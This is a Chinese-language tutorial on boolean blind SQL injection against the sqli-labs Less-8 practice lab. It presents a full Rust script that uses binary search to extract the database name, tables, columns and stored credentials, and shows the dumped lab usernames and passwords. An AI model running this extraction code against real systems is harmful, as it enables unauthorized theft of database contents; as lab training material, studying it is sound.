布尔盲注二分查找

此处用到的是 sqlilabs 的第 8 关

本文主要介绍用二分法实现布尔盲注

介绍

布尔盲注是在 SQL 注入漏洞的错误消息, 返回数据或其他明显响应被遮蔽时, 通过解析响应是否为 truefalse 来获得信息

思路

通过 true 才可以得到正常响应的特性, 可以通过比较字符的 ascii 码, 一点一点的把字符串推导出来

例如下面这条语句:

id=1' AND (SELECT ascii(substr(database(),1,1))=ascii('a'))--+

通过将 'a' 遍历到 'z', 观察何时正常响应, 确定第一个字符, 再将 substr() 函数的第二个参数 1 -> 9 遍历, 循环上一个过程即可得到完整的名字

如果手工这样做会非常麻烦, 所以需要借助注入工具, 或者编写脚本

代码实现

这里使用 rust 来实现, 嫌麻烦可以用 python

cargo.toml:

这里是需要的依赖

[dependencies]
tokio = { version = "1.37.0", features = ["full"]}
reqwest = "0.12.4"
regex = "1.10.4"

静态变量:

static CLIENT: OnceCell<Client> = OnceCell::const_new();

初始化 client:

client 可复用

async fn init_client() -> Result<&'static Client, Box<dyn std::error::Error>> {
    CLIENT.get_or_try_init(|| async { Ok(Client::new()) }).await
}

判断请求是否成功:

async fn is_condition_true(url: &str, condition: &str) -> bool {
    let client = init_client().await.unwrap();
    let query = format!("?id=1' AND {}", condition);
    let response = client.get(&format!("{}{}", url, query))
        .send()
        .await;
    match response {
        Ok(resp) => {
            // 这里根据实际页面返回情况而定
            resp.status().is_success() && resp.text().await.unwrap().contains("You are in")
        }
        Err(_) => false,
    }
}

盲注:

使用二分查找加快效率

async fn blind_injection(url: &str, condition_format: &str, limit: u32, extra_params: Vec<&str>) -> String {
    let mut extracted_value = String::new();
    let mut hold = false; // 控制循环次数
    let mut condition = condition_format.to_string();

    // 格式化
    for param in extra_params {
        condition = condition.replacen("#", param, 1);
    }

    for i in 1..=limit {
        hold = false;
        let mut left: u8 = 31;
        let mut right: u8 = 127;
        let mut mid: u8 = 158 / 2;
        while left < right {
            let mut format_condition = String::new();
            format_condition = condition.replacen("#", i.to_string().as_str(), 1);
            format_condition = format_condition.replacen("#", ">", 1);
            format_condition = format_condition.replacen("#", mid.to_string().as_str(), 1);
            if is_condition_true(url, &format_condition).await {
                left = mid + 1;
            } else {
                right = mid;
            }
            mid = left + (right - left) / 2;
        }

        // mid > 31 时表示找到了. 上面退出循环时, mid 始终是大于 31 (找到) 或者等于 31 (未找到)
        if mid > 31 {
            hold = true;
            let ch = char::from(mid);
            extracted_value.push(ch);
            println!("Found character at position {}: {}", i, &ch);
        }

        // 超出真实字符串长度, 退出循环
        if !hold {
            break;
        }
    }

    extracted_value
}

获取数据库:

async fn get_database(url: &str) -> String {
    let condition_format = "(SELECT ascii(substr(database(),#,1))) # #--+";
    blind_injection(url, condition_format, 20, vec![]).await
}

获取表名:

async fn get_tables(url: &str, database: &str) -> String {
    let condition_format = "(SELECT ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='#'),#,1)) # #)--+";
    blind_injection(url, condition_format, 1024, vec![database]).await
}

获取列名:

async fn get_columns(url: &str, database: &str, table: &str) -> String {
    let condition_format = "(SELECT ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='#' AND table_name='#'),#,1)) # #)--+";
    blind_injection(url, condition_format, 1024, vec![database, table]).await
}

获取值

async fn get_values(url: &str, table: &str, columns: &Vec<String>) -> String {
    let condition_format = format!("(SELECT ascii(substr((SELECT group_concat({}) FROM #),#,1)) # #)--+", columns.join(",")).replacen(",", ",':',", columns.len() - 1);
    blind_injection(url, condition_format.as_str(), 1024, vec![table]).await
}

main:

#[tokio::main]
async fn main() {
    let re = Regex::new(r"[, ]+").unwrap();
    let url = "http://192.168.10.94/sqli-labs/Less-8/";

    let database = get_database(url).await;

    let tables = get_tables(url, &database).await;
    let table_vec: Vec<&str> = re.split(&tables).collect();

    let mut columns_map: HashMap<String, Vec<String>> = HashMap::new();
    
    let mut values_map: HashMap<String, Vec<String>> = HashMap::new();

 	// 获取各表所有的列名
    for table in &table_vec {
        let columns: String = get_columns(url, &database, table).await;
        let column_vec: Vec<String> = re.split(&columns).map(|x| { x.to_string() }).collect();

        // 获取各表所有的值
        let values: String = get_values(url, table, &column_vec).await;
        let value_vec: Vec<String> = re.split(&values).map(|x1| { x1.to_string() }).collect();
        
        values_map.insert(table.to_string(), value_vec);
        columns_map.insert(table.to_string(), column_vec);
    }

    println!("{}", &database);
    println!("{:?}", &table_vec);
    println!("{:?}", &columns_map);
    println!("{:?}", &values_map);
}

结果

security
["emails", "referers", "uagents", "users"]
{"referers": ["id", "ip_address", "referer"], "uagents": ["id", "ip_address", "uagent", "username"], "emails": ["email_id", "id"], "users": ["id", "password", "username"]}
{"referers": [""], "uagents": [""], "users": ["1:Dumb:Dumb", "2:I-kill-you:Angelina", "3:p@ssword:Dummy", "4:crappy:secure", "5:stupidity:stupid", "6:genious:superman", "7:mob!le:batman", "8:admin:admin", "9:admin1:admin1", "10:admin2:admin2", "11:admin3:admin3", "12:dumbo:dhakkan", "14:admin4:admin4"], "emails": ["Dumb@dhakkan.com:1", "Angel@iloveu.com:2", "Dummy@dhakkan.local:3", "secure@dhakkan.local:4", "stupid@dhakkan.local:5", "superman@dhakkan.local:6", "batman@dhakkan.local:7", "admin@dhakkan.com:8"]}